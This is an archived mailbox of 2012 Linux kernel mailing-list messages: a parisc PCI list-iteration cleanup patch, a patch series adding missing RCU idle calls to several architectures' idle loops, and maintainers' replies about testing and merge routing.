Xref: news.gmane.org gmane.linux.kernel.pci:17167 gmane.linux.kernel.pcmcia.devel:4154 gmane.linux.ports.parisc:4538
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.pci/17167>

Replace list_for_each() + pci_dev_b() with the simpler
list_for_each_entry().

Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
CC: linux-parisc@vger.kernel.org
---
 drivers/parisc/dino.c    |    6 ++----
 drivers/parisc/lba_pci.c |    7 ++-----
 2 files changed, 4 insertions(+), 9 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index ffddc4f..4581ee0 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -477,14 +477,12 @@ dino_card_setup(struct pci_bus *bus, void __iomem *base_addr)
 	if (ccio_allocate_resource(dino_dev->hba.dev, res, _8MB,
 				F_EXTEND(0xf0000000UL) | _8MB,
 				F_EXTEND(0xffffffffUL) &~ _8MB, _8MB) < 0) {
-		struct list_head *ln, *tmp_ln;
+		struct pci_dev *dev, *tmp;
 
 		printk(KERN_ERR "Dino: cannot attach bus %s\n",
 		       dev_name(bus->bridge));
 		/* kill the bus, we can't do anything with it */
-		list_for_each_safe(ln, tmp_ln, &bus->devices) {
-			struct pci_dev *dev = pci_dev_b(ln);
-
+		list_for_each_entry_safe(dev, tmp, &bus->devices, bus_list) {
 			list_del(&dev->bus_list);
 		}
 			
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 4ce57c9..fdd63a6 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -629,7 +629,6 @@ truncate_pat_collision(struct resource *root, struct resource *new)
 static void
 lba_fixup_bus(struct pci_bus *bus)
 {
-	struct list_head *ln;
 	struct pci_dev *dev;
 #ifdef FBB_SUPPORT
 	u16 status;
@@ -711,10 +710,9 @@ lba_fixup_bus(struct pci_bus *bus)
 
 	}
 
-	list_for_each(ln, &bus->devices) {
+	list_for_each_entry(dev, &bus->devices, bus_list) {
 		int i;
 
-		dev = pci_dev_b(ln);
 		DBG("lba_fixup_bus() %s\n", pci_name(dev));
 
 		/* Virtualize Device/Bridge Resources. */
@@ -771,8 +769,7 @@ lba_fixup_bus(struct pci_bus *bus)
 	}
 
 	/* Lastly enable FBB/PERR/SERR on all devices too */
-	list_for_each(ln, &bus->devices) {
-		dev = pci_dev_b(ln);
+	list_for_each_entry(dev, &bus->devices, bus_list) {
 		(void) pci_read_config_word(dev, PCI_COMMAND, &status);
 		status |= PCI_COMMAND_PARITY | PCI_COMMAND_SERR | fbb_enable;
 		(void) pci_write_config_word(dev, PCI_COMMAND, status);


From - Thu Nov 08 21:08:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frederic Weisbecker <fweisbec@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.alpha
Subject: [PATCH 00/10] rcu: Add missing RCU idle APIs on idle loop
Date: Wed, 22 Aug 2012 18:23:38 +0200
Lines: 61
Approved: news@gmane.org
Message-ID: <1345652628-15060-1-git-send-email-fweisbec@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1345652653 4525 80.91.229.3 (22 Aug 2012 16:24:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Aug 2012 16:24:13 +0000 (UTC)
Cc: Frederic Weisbecker <fweisbec@gmail.com>,
	"Paul E. McKenney" <paulmck@linux.vnet.ibm.com>,
	Chris Zankel <chris@zankel.net>, "3.2.x.." <stable@kernel.org>,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Lennox Wu <lennox.wu@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	m68k <linux-m68k@lists.linux-m68k.org>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Cris <linux-cris-kernel@axis.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	alpha <linux-alpha@vger.kernel.org>
To: LKML <linux-kernel@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 22 18:24:09 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1T4Dix-0005U5-1d
	for glpp-linux-parisc@plane.gmane.org; Wed, 22 Aug 2012 18:24:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933007Ab2HVQYE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Aug 2012 12:24:04 -0400
Original-Received: from mail-ey0-f174.google.com ([209.85.215.174]:33198 "EHLO
	mail-ey0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751706Ab2HVQYC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Aug 2012 12:24:02 -0400
Original-Received: by eaac11 with SMTP id c11so395468eaa.19
        for <multiple recipients>; Wed, 22 Aug 2012 09:24:00 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id:x-mailer;
        bh=nJ1z2nCzrWT1UP1YY0Zj78ja6g5gZ3Akz87yrkUrsjE=;
        b=BdL4rI0IP0LMnQ4vLbfisFd5CWj9ToNTe/ern7gFyhTc87HSZAXgSlRYjEcIv0S34S
         b7m8KeJ8iqvDgl7hsdIkjH6ECjDqA5oDoOiPDAPhDbNXMA421WyG5iH5vOVzVRijEMdE
         KkMyP6NgGoAG0BkIby1tNW54csJAjgXNGmS84i/Y1KwHYidl0dFa9pX0wV6I5lxzWWaO
         pnMrMDTnDUTyEsKYM8ex5mz15jSdSiafcnlDMfmwcDu3rFXnc+GVK6KhG3fzScIlh6mQ
         K0P21atFtGw37AfRFeo+xLSqZ5QJ55SulTyzFkeQzdjnZ6QuLudLLa1J+3UDRgRTSPX4
         vNww==
Original-Received: by 10.14.5.67 with SMTP id 43mr18910417eek.15.1345652639922;
        Wed, 22 Aug 2012 09:23:59 -0700 (PDT)
Original-Received: from localhost.localdomain (53.20.196.77.rev.sfr.net. [77.196.20.53])
        by mx.google.com with ESMTPS id h2sm14254041eeo.3.2012.08.22.09.23.56
        (version=SSLv3 cipher=OTHER);
        Wed, 22 Aug 2012 09:23:58 -0700 (PDT)
X-Mailer: git-send-email 1.7.5.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4541 gmane.linux.kernel:1347961 gmane.linux.kernel.stable:30279 gmane.linux.ports.alpha:1858
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4541>

So this fixes some potential RCU stalls in a bunch of architectures.
When rcu_idle_enter()/rcu_idle_exit() became a requirement, we forgot
to handle the architectures that don't support CONFIG_NO_HZ.

I guess the set should be dispatched into arch maintainer trees.

I'm sorry I haven't built tested everywhere. But the changes are
small and need to be at least boot tested anyway.

Also many of these archs use the same kind of idle loop:

void cpu_idle(void)
{
        while (1) {
                rcu_idle_enter();
                while (!need_resched())
                        //power saving function()
                rcu_idle_exit();
                schedule_preempt_disabled();
        }
}

So once the set is merged, I'll probably try to consolidate this with a generic
simple cpu_idle() that does the above and calls the arch power saving
function. This will be only for archs that use this simple idle loop
of course.

Thanks.

Frederic Weisbecker (10):
  alpha: Add missing RCU idle APIs on idle loop
  cris: Add missing RCU idle APIs on idle loop
  frv: Add missing RCU idle APIs on idle loop
  h8300: Add missing RCU idle APIs on idle loop
  m32r: Add missing RCU idle APIs on idle loop
  m68k: Add missing RCU idle APIs on idle loop
  mn10300: Add missing RCU idle APIs on idle loop
  parisc: Add missing RCU idle APIs on idle loop
  score: Add missing RCU idle APIs on idle loop
  xtensa: Add missing RCU idle APIs on idle loop

 arch/alpha/kernel/process.c   |    6 +++++-
 arch/cris/kernel/process.c    |    3 +++
 arch/frv/kernel/process.c     |    3 +++
 arch/h8300/kernel/process.c   |    3 +++
 arch/m32r/kernel/process.c    |    3 +++
 arch/m68k/kernel/process.c    |    3 +++
 arch/mn10300/kernel/process.c |    3 +++
 arch/parisc/kernel/process.c  |    3 +++
 arch/score/kernel/process.c   |    4 +++-
 arch/xtensa/kernel/process.c  |    3 +++
 10 files changed, 32 insertions(+), 2 deletions(-)

-- 
1.7.5.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frederic Weisbecker <fweisbec@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.stable
Subject: [PATCH 08/10] parisc: Add missing RCU idle APIs on idle loop
Date: Wed, 22 Aug 2012 18:23:46 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <1345652628-15060-9-git-send-email-fweisbec@gmail.com>
References: <1345652628-15060-1-git-send-email-fweisbec@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1345652736 5329 80.91.229.3 (22 Aug 2012 16:25:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Aug 2012 16:25:36 +0000 (UTC)
Cc: Frederic Weisbecker <fweisbec@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	"3.2.x.." <stable@kernel.org>,
	"Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
To: LKML <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Aug 22 18:25:35 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1T4DkM-00086k-LR
	for glk-linux-kernel-3@plane.gmane.org; Wed, 22 Aug 2012 18:25:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933120Ab2HVQZW (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 22 Aug 2012 12:25:22 -0400
Original-Received: from mail-ey0-f174.google.com ([209.85.215.174]:36983 "EHLO
	mail-ey0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933085Ab2HVQYU (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 22 Aug 2012 12:24:20 -0400
Original-Received: by mail-ey0-f174.google.com with SMTP id c11so395482eaa.19
        for <multiple recipients>; Wed, 22 Aug 2012 09:24:20 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id:x-mailer:in-reply-to:references;
        bh=tzUOUA0YX/n/9Y2/Y+/E9wDpTqdHx2C0A0kGxmQQ4Hw=;
        b=Oy62jvK/zFc5e4HbXRfXf3w5JwSklWjInsTXqgkJ7VjYWQVD9ZI9RTC83sK8JtwJxN
         e5CsT0WzFmjqrv61NuEROLh69oDvaY+ighrcyRuMPOA/3tFEdcrnjzkqniUjZniHaWvN
         5aTsE3hHCOenPtbifRvXCnskRBKjD98NKPfi5tVn8XZsHzyOQPcoBPhZGlBgUPEsHMYN
         Eu2t2CRbFMT98Ali73hCsFrBGsSSJ2irno0ic8YXx7O/AaTtziiAP+nAFTFzYiiVnZWM
         YRqbOx3+SzMfaVZETkOv25dNLT7fkVoE87vlb/aRbzDUADOJ5r7NBLn/XIe6kF3D48dU
         FURg==
Original-Received: by 10.14.5.67 with SMTP id 43mr18911679eek.15.1345652660171;
        Wed, 22 Aug 2012 09:24:20 -0700 (PDT)
Original-Received: from localhost.localdomain (53.20.196.77.rev.sfr.net. [77.196.20.53])
        by mx.google.com with ESMTPS id h2sm14254041eeo.3.2012.08.22.09.24.18
        (version=SSLv3 cipher=OTHER);
        Wed, 22 Aug 2012 09:24:19 -0700 (PDT)
X-Mailer: git-send-email 1.7.5.4
In-Reply-To: <1345652628-15060-1-git-send-email-fweisbec@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1347967 gmane.linux.ports.parisc:4542 gmane.linux.kernel.stable:30285
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1347967>

In the old times, the whole idle task was considered
as an RCU quiescent state. But as RCU became more and
more successful overtime, some RCU read side critical
section have been added even in the code of some
architectures idle tasks, for tracing for example.

So nowadays, rcu_idle_enter() and rcu_idle_exit() must
be called by the architecture to tell RCU about the part
in the idle loop that doesn't make use of rcu read side
critical sections, typically the part that puts the CPU
in low power mode.

This is necessary for RCU to find the quiescent states in
idle in order to complete grace periods.

Add this missing pair of calls in the parisc's idle loop.

Reported-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
Signed-off-by: Frederic Weisbecker <fweisbec@gmail.com>
Cc: James E.J. Bottomley <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Parisc <linux-parisc@vger.kernel.org>
Cc: 3.2.x.. <stable@kernel.org>
Cc: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
---
 arch/parisc/kernel/process.c |    3 +++
 1 files changed, 3 insertions(+), 0 deletions(-)

diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index d4b94b3..c54a4db 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -48,6 +48,7 @@
 #include <linux/unistd.h>
 #include <linux/kallsyms.h>
 #include <linux/uaccess.h>
+#include <linux/rcupdate.h>
 
 #include <asm/io.h>
 #include <asm/asm-offsets.h>
@@ -69,8 +70,10 @@ void cpu_idle(void)
 
 	/* endless idle loop with no priority at all */
 	while (1) {
+		rcu_idle_enter();
 		while (!need_resched())
 			barrier();
+		rcu_idle_exit();
 		schedule_preempt_disabled();
 		check_pgt_cache();
 	}
-- 
1.7.5.4


From - Thu Nov 08 21:08:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.alpha
Subject: Re: [PATCH 00/10] rcu: Add missing RCU idle APIs on idle loop
Date: Wed, 22 Aug 2012 19:18:04 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <CAMuHMdUt62GsYsPMAPbUWZUtFL=c2VmYFintpDAQmSwQrWriuA@mail.gmail.com>
References: <1345652628-15060-1-git-send-email-fweisbec@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1345655895 906 80.91.229.3 (22 Aug 2012 17:18:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Aug 2012 17:18:15 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	"Paul E. McKenney" <paulmck@linux.vnet.ibm.com>,
	Chris Zankel <chris@zankel.net>, "3.2.x.." <stable@kernel.org>,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Lennox Wu <lennox.wu@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	m68k <linux-m68k@lists.linux-m68k.org>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Cris <linux-cris-kernel@axis.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	alpha <linux-alpha@vger.kernel.org>
To: Frederic Weisbecker <fweisbec@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 22 19:18:11 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1T4EZG-0004Zt-Qz
	for glpp-linux-parisc@plane.gmane.org; Wed, 22 Aug 2012 19:18:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S964822Ab2HVRSI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Aug 2012 13:18:08 -0400
Original-Received: from mail-qc0-f174.google.com ([209.85.216.174]:46039 "EHLO
	mail-qc0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758246Ab2HVRSG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Aug 2012 13:18:06 -0400
Original-Received: by qcro28 with SMTP id o28so840046qcr.19
        for <multiple recipients>; Wed, 22 Aug 2012 10:18:04 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        bh=Y7BeBYFyOVlXFxIS91R3WFHhgBi7BuzYY/LaN0GFWnE=;
        b=0c+O8O5SjIxA2jIYNTlXK8SaeOpZuce4CIzD2c9bhuPmFNmoUrhYzbCzLu/vpSZH4Q
         8kO75Ey0/icDvhYaiNtdBPIF6btX9S4jc6cGLKNDjnJYAatd0BzbGwnIQ6djBTZdY9Uj
         NiP94xWT/s027SggKFBPaCcHfFu2O+4DUDucoE9w+bUHFZ1G2FjDkFZPKQ7jUn/S4Vyg
         kpku0aICjYBSZd2iF1L+/bpRARern/KUZdOYGvuVHhBzrzAm5FOwi/xtfEhIaFk9m7W4
         xPLmKpsr+LYvDnwMuAV9bqsorhT5j5+1OdT87R4Yj45CKah/BEEwdS2bbhqndw5fjjsZ
         aNPA==
Original-Received: by 10.58.65.40 with SMTP id u8mr14355183ves.47.1345655884726; Wed,
 22 Aug 2012 10:18:04 -0700 (PDT)
Original-Received: by 10.220.22.202 with HTTP; Wed, 22 Aug 2012 10:18:04 -0700 (PDT)
In-Reply-To: <1345652628-15060-1-git-send-email-fweisbec@gmail.com>
X-Google-Sender-Auth: 2Xj0lGsK2S1hP6ZttYsBsmfYvJo
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4543 gmane.linux.kernel:1348013 gmane.linux.kernel.stable:30290 gmane.linux.ports.alpha:1860
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4543>

On Wed, Aug 22, 2012 at 6:23 PM, Frederic Weisbecker <fweisbec@gmail.com> wrote:
> So this fixes some potential RCU stalls in a bunch of architectures.
> When rcu_idle_enter()/rcu_idle_exit() became a requirement, we forgot
> to handle the architectures that don't support CONFIG_NO_HZ.
>
> I guess the set should be dispatched into arch maintainer trees.

I can take the m68k version, but are you sure you want it this way?
Each of them must be in mainline before they can enter stable.

> I'm sorry I haven't built tested everywhere. But the changes are
> small and need to be at least boot tested anyway.

Builds and boots fine on m68k under ARAnyM.
Acked-by: Geert Uytterhoeven <geert@linux-m68k.org> (for m68k)

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frederic Weisbecker <fweisbec@gmail.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.parisc
Subject: Re: [PATCH 00/10] rcu: Add missing RCU idle APIs on idle loop
Date: Thu, 23 Aug 2012 13:02:00 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <20120823110157.GC18835@somewhere.redhat.com>
References: <1345652628-15060-1-git-send-email-fweisbec@gmail.com>
 <CAMuHMdUt62GsYsPMAPbUWZUtFL=c2VmYFintpDAQmSwQrWriuA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1345719741 14993 80.91.229.3 (23 Aug 2012 11:02:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 Aug 2012 11:02:21 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	"Paul E. McKenney" <paulmck@linux.vnet.ibm.com>,
	Chris Zankel <chris@zankel.net>, "3.2.x.." <stable@kernel.org>,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Lennox Wu <lennox.wu@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	m68k <linux-m68k@lists.linux-m68k.org>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Cris <linux-cris-kernel@axis.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	alpha <linux-alpha@vger.kernel.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-alpha-owner@vger.kernel.org Thu Aug 23 13:02:17 2012
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1T4VAz-0002GP-AY
	for lnx-linux-alpha@plane.gmane.org; Thu, 23 Aug 2012 13:02:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1030397Ab2HWLCK (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Thu, 23 Aug 2012 07:02:10 -0400
Original-Received: from mail-qa0-f53.google.com ([209.85.216.53]:48317 "EHLO
	mail-qa0-f53.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1030351Ab2HWLCI (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Thu, 23 Aug 2012 07:02:08 -0400
Original-Received: by qaas11 with SMTP id s11so389846qaa.19
        for <multiple recipients>; Thu, 23 Aug 2012 04:02:07 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=AMt4rvEqYqKka3h7S4EJsOvEa/ztbHJGMsmTvob9qwM=;
        b=FVxObIt4TS4flEzyQkrjSTJevkfRCxH3sEs35ArMap/zj46e2yhZPAwFPz1pNXUz0F
         oVOFlYrRv2jstf+2sBikN8JDUR9LGNImCTnnfvD7ypzZB1PMG3/7sz39ZdY3VFumP/Va
         TlSR6jiAw93dZvGtDzzwW7RhW8fVV8Y3yZ9DwFmz340iuUMAZyzR6wPVZaTPlhu5HbWn
         FgQnLeBMrC1q6wrQM8Nvo2s/sq1f329BTZD+ypPq03p5t6lNQq2t0D3PqxwtGFLXvWvb
         eTjxpI9CeMvVBjhHmBhzzT2zkrkTsc30JxGL4G7YvFmKG4IKTDPEtjKbONmYtZhGvLvG
         qYqw==
Original-Received: by 10.224.26.210 with SMTP id f18mr2056552qac.80.1345719727301;
        Thu, 23 Aug 2012 04:02:07 -0700 (PDT)
Original-Received: from localhost (53.20.196.77.rev.sfr.net. [77.196.20.53])
        by mx.google.com with ESMTPS id l3sm5045653qan.19.2012.08.23.04.02.02
        (version=TLSv1/SSLv3 cipher=OTHER);
        Thu, 23 Aug 2012 04:02:06 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <CAMuHMdUt62GsYsPMAPbUWZUtFL=c2VmYFintpDAQmSwQrWriuA@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:1870 gmane.linux.kernel:1348449 gmane.linux.kernel.stable:30313 gmane.linux.ports.parisc:4544
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/1870>

On Wed, Aug 22, 2012 at 07:18:04PM +0200, Geert Uytterhoeven wrote:
> On Wed, Aug 22, 2012 at 6:23 PM, Frederic Weisbecker <fweisbec@gmail.com> wrote:
> > So this fixes some potential RCU stalls in a bunch of architectures.
> > When rcu_idle_enter()/rcu_idle_exit() became a requirement, we forgot
> > to handle the architectures that don't support CONFIG_NO_HZ.
> >
> > I guess the set should be dispatched into arch maintainer trees.
> 
> I can take the m68k version, but are you sure you want it this way?
> Each of them must be in mainline before they can enter stable.

Yeah, I was thinking the right route is for these patches to be
carried by arch maintainer who then push to Linus and then this goes
to stable.

Is that ok for you?

Otherwise I can carry the patches myself. In a tree of my own, or
Paul's or mmotm. As long as I have your ack.

Thanks.

> 
> > I'm sorry I haven't built tested everywhere. But the changes are
> > small and need to be at least boot tested anyway.
> 
> Builds and boots fine on m68k under ARAnyM.
> Acked-by: Geert Uytterhoeven <geert@linux-m68k.org> (for m68k)
> 
> Gr{oetje,eeting}s,
> 
>                         Geert
> 
> --
> Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org
> 
> In personal conversations with technical people, I call myself a hacker. But
> when I'm talking to journalists I just say "programmer" or something like that.
>                                 -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frederic Weisbecker <fweisbec@gmail.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.parisc
Subject: [PATCH 00/11] rcu: Add missing RCU idle APIs on idle loop v2
Date: Thu, 23 Aug 2012 16:58:24 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <1345733915-20040-1-git-send-email-fweisbec@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1345733941 8201 80.91.229.3 (23 Aug 2012 14:59:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 Aug 2012 14:59:01 +0000 (UTC)
Cc: Frederic Weisbecker <fweisbec@gmail.com>,
	"Paul E. McKenney" <paulmck@linux.vnet.ibm.com>,
	Chris Zankel <chris@zankel.net>,
	"3.2.x.." <stable@vger.kernel.org>,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Lennox Wu <lennox.wu@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
